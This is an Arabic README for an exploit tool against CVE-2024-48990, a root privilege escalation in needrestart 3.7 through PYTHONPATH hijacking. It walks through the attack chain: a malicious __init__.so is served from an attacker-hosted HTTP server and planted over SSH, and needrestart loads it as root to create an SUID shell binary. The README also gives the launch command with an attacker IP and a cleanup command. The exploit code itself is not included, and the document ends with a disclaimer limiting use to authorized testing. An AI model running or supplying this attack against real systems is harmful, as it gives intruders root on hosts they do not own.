CVE-2024-48990 اختطاف PYTHONPATH - استغلال تصعيد الصلاحيات

تعمل هذه الأداة على أتمتة استغلال ثغرة تصعيد الصلاحيات في needrestart الإصدار 3.7، المعروفة باسم CVE-2024-48990.
تحقق التنفيذ بصلاحيات الجذر من خلال استغلال الاستخدام غير الآمن لمتغير البيئة PYTHONPATH عند قيام needrestart بفحص عمليات بايثون.

ملخص

يعمل الاستغلال على النحو التالي:

1. تجميع كائن مشترك خبيث (__init__.so) يتم تفعيله عند الاستيراد.
2. تقديم ملف .so عبر خادم HTTP محلي.
3. الاتصال بالهدف عبر SSH وإعداد بيئة PYTHONPATH خبيثة.
4. إطلاق عملية طعم بايثون تقوم باستيراد importlib بشكل مستمر.
5. تشغيل needrestart، الذي يرث مسار PYTHONPATH المُعدّل، ويقوم بتحميل الوحدة الخبيثة، وتنفيذ الحمولة كجذر.
6. تقوم الحمولة بإنشاء ملف SUID ثنائي (/tmp/poc)، مما يسمح بالوصول إلى شل جذر.

الاستخدام

قم بتشغيل الاستغلال من جهازك المهاجم:

python3 exploit.py --user <ssh_user> --host <target_ip> --att-ip <attacker_ip> --ssh-pass <ssh_password>

المعاملات:

• --user اسم مستخدم SSH على الهدف
• --host عنوان IP للهدف
• --att-ip عنوان IP للمهاجم (يستخدم لاستضافة الحمولة)
• --ssh-pass كلمة مرور SSH (احذفها إذا كنت تستخدم مفاتيح SSH)
• --http-port منفذ HTTP اختياري (الافتراضي: 8000)

CVE

• CVE ID: CVE-2024-48990
• البرنامج المتأثر: needrestart الإصدار 3.7
• نوع الثغرة: معالجة غير آمنة لمتغيرات البيئة
• التأثير: تصعيد الصلاحيات المحلية إلى الجذر

التنظيف

لإزالة آثار الاستغلال من الهدف:

rm -rf /tmp/malicious /tmp/poc /tmp/exploit.sh

المتطلبات

جهاز المهاجم:

• بايثون 3
• pexpect (pip3 install pexpect)
• gcc (لتجميع الحمولة)
• وصول SSH مفتوح إلى الهدف
• python3 -m http.server (يتم تشغيله تلقائياً بواسطة النص البرمجي)

الجهاز الهدف:

• إصدار ضعيف من needrestart (الإصدار 3.7)
• مستخدم غير جذر لديه صلاحيات sudo NOPASSWD لـ /usr/sbin/needrestart
• تثبيت بايثون 3 و curl

إخلاء مسؤولية

هذه الأداة مُقدمة للأغراض التعليمية واختبار الأمان المصرح به فقط. لا تستخدمها على أنظمة لا تملكها أو بدون إذن صريح.